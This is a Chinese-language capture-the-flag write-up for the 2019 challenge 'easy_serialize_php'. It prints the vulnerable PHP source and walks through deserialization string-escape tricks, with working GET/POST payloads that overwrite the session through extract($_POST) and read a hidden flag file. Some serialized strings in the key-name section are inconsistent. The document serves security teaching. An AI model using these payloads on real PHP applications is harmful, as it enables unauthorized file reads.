[安洵杯 2019]easy_serialize_php

原创已于 2023-08-19 23:16:38 修改 · 132 阅读

0 ·

本内容遵循CC 4.0 BY-SA版权协议

收录于

CTF

于 2023-08-19 23:04:46 首次发布

文章讲述了如何在PHP代码中利用序列化字符逃逸技巧绕过过滤机制，通过构造特殊payload获取flag，涉及的关键技术包括phpinfo函数、序列化和反序列化以及POST请求覆盖session。

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

一、题目分析

1、根据提示，?f=phpinfo//maybe you can find something in here!，执行phpinfo()，搜索flag，找到了flag文件名为d0g3_f1ag.php

2、分析源码，需要利用这一句：
echo file_get_contents(base64_decode($userinfo['img']));
将userinfo中的['img']值做base64解码，然后把d0g3_f1ag.php文件名进行base64编码，构造为img的值，让代码读出内容，就可以得到flag

3、想要修改img的值可以通过设置img_path，或者修改userinfo['img']的内容
1）首先看修改img_path
修改img_path，传入的内容会被base64和sha1加密$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));，然而，高亮文件内容时只做了base64的解密，所以修改img_path是无法读到文件的，所以只能修改userinfo['img']的内容。
2）修改userinfo['img']的内容
_SESSION由userinfo['img']、_SESSION["user"]和_SESSION['function']组成，考虑到有过滤，可以采用反序列化字符逃逸来构造SESSION['img']的值。虽然他没有设置SESSION_START但是他用了extract($_POST);我们就可以通过发出POST请求来覆盖SESSION。
反序列化字符逃逸的原理比较好理解，就是在构造键值的时候故意构造出会被过滤的的值，然后会被过滤函数给过滤掉，但是序列化后的字符串记录的值的长度却不会因为被过滤后而改变，所以就会把序列化后的字符串的结构当做值的内容给读取。

反序列化字符逃逸一共有两种方法：一个是键值逃逸，另一个是键名逃逸。

二、解题

1、键值逃逸

不传post参数，那么SESSION数组将会这样：
<?php
$_SESSION["user"]='flag';
$_SESSION["function"]='a';
$_SESSION['img'] = base64_encode('guest_img.png');
echo serialize($_SESSION);
?>

序列化输出：a:3:{s:4:"user";s:4:"flag";s:8:"function";s:1:"a";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

<?php
$_SESSION["user"]='flagflagflagflagflagflag'；
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
echo serialize($_SESSION);

结果如下：

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

过滤机制，会将含有flag字符替换为空，那么以上序列化字符串过滤结果为：
a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";

将这一串字符串进行序列化
这个时候关注第二个s所对应的数字，本来由于有6个flag字符所以为24，现在这6个flag都被过滤了，那么它将会尝试向后读取24个字符看看是否满足序列化的规则，也即读取;s:8:"function";s:59:"a,读取这24个字符后以”;结尾，恰好满足规则，而后第三个s向后读取img的20个字符，第四个、第五个s向后读取均满足规则，所以序列化结果为：
$_SESSION["user"]='";s:8:"function";s:59:"a';
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
$_SESSION["dd"]='a';

SESSION数组的键值img对应的值发生了改变，用ZDBnM19mMWFnLnBocA==代替了真正的base64编码，读取了d0g3_f1ag.php的内容。

a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}

构造payload：
get:f=show_image
post:_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}

F12查看源码：
<!--?php

$flag = 'flag in /d0g3_fllllllag';

?-->
将/d0g3_fllllllagbase64加密得到，L2QwZzNfZmxsbGxsbGFn

构造payload：
get:f=show_image
post:_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"dd";s:1:"a";}

得到flag。

2、键名逃逸

原理和上面一样，只不过这次被过滤的地方不是在值的位置，而是在键名的位置，然后在值的位置构造恶意代码

不传post参数，那么SESSION数组将会这样：
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
$_SESSION['img'] = base64_encode('guest_img.png');
然鹅我们想把后面的img给忽略掉，那就势必要构造一个新的img并把后面注释（用;}）掉。payload以;}结尾，因为序列化字符的构造必须负责规定，在;}后就停止解析了。

源码中有“extract($_POST);”，上传SESSION数组后，经过extract函数的解析后将替换原来的SESSION数组，那么直接忽略前面两个键值对。
比如我们上传一个

_SESSION['flag']=abc

上传以后的数组：
$_SESSION['flag']="abc";
$_SESSION['img'] = base64_encode('guest_img.png');

序列化后：a:2:{s:4:"flag";s:3:"abc";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

过滤机制，会将含有flag字符替换为空，那么以上序列化字符串过滤结果为：

a:2:{s:4:"";s:3:"abc";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

其中abc";s:3:s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}为我们上传的参数，长度为45，于是修改为：

a:2:{s:4:"";s:45:"abc";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

然后细节处微调:

a:2:{s:4:"";s:51:";s:3:"abc";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

";s:51:为7个字符，flagphp刚刚好7个字符，将Z3Vlc3RfaW1nLnBuZw==改为flag文件名，修改为：

a:2:{s:7:"flagphp";s:51:";s:3:"abc";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}